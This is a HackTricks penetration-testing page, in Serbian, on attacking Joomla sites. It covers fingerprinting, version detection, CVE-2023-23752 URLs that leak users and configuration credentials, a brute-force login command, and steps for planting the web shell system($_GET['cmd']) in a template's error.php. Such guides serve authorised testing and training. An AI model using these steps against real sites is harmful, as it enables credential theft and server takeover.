Joomla
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Joomla Statistika
Joomla prikuplja neke anonimne statistike korišćenja kao što su raspodela verzija Joomla, PHP i baza podataka, kao i operativni sistemi servera koji se koriste na Joomla instalacijama. Ovi podaci se mogu pretraživati putem njihovog javnog API.
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
Enumeration
Discovery/Footprinting
- Proverite meta
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
- robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
- README.txt
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
Verzija
- U /administrator/manifests/files/joomla.xml možete videti verziju.
- U /language/en-GB/en-GB.xml možete dobiti verziju Joomle.
- U plugins/system/cache/cache.xml možete videti približnu verziju.
Automatski
droopescan scan joomla --url http://joomla-site.local/
U 80,443 - Pentesting Web Methodology je sekcija o CMS skenerima koji mogu skenirati Joomla.
API Neautentifikovana Otkrića Informacija:
Verzije od 4.0.0 do 4.2.7 su podložne neautentifikovanom otkrivanju informacija (CVE-2023-23752) koje će izbaciti kredencijale i druge informacije.
- Korisnici:
http://<host>/api/v1/users?public=true
- Konfiguracioni fajl:
http://<host>/api/index.php/v1/config/application?public=true
MSF Modul: scanner/http/joomla_api_improper_access_checks
ili ruby skripta: 51334
Brute-Force
Možete koristiti ovu skriptu da pokušate brute force prijavu.
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
RCE
Ako ste uspeli da dobijete admin kredencijale, možete RCE unutar njega dodavanjem isječka PHP koda za dobijanje RCE. To možemo uraditi prilagođavanjem teme.
- Kliknite na
Templates
u donjem levom uglu podConfiguration
da otvorite meni sa temama. - Kliknite na ime teme. Izaberimo
protostar
pod naslovom koloneTemplate
. Ovo će nas odvesti na stranicuTemplates: Customise
. - Na kraju, možete kliknuti na stranicu da otvorite izvor stranice. Izaberimo stranicu
error.php
. Dodaćemo PHP jedan-liner za dobijanje izvršenja koda na sledeći način: system($_GET['cmd']);
- Sačuvaj i zatvori
curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
From XSS to RCE
- JoomSploit: Joomla skripta za eksploataciju koja povećava XSS na RCE ili druge kritične ranjivosti. Za više informacija pogledajte ovaj post. Pruža podršku za Joomla verzije 5.X.X, 4.X.X i 3.X.X, i omogućava:
- Povećanje privilegija: Kreira korisnika u Joomli.
- (RCE) Uređivanje ugrađenih tema: Uređuje ugrađene teme u Joomli.
- (Prilagođeni) Prilagođene eksploatacije: Prilagođene eksploatacije za dodatke trećih strana za Joomlu.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.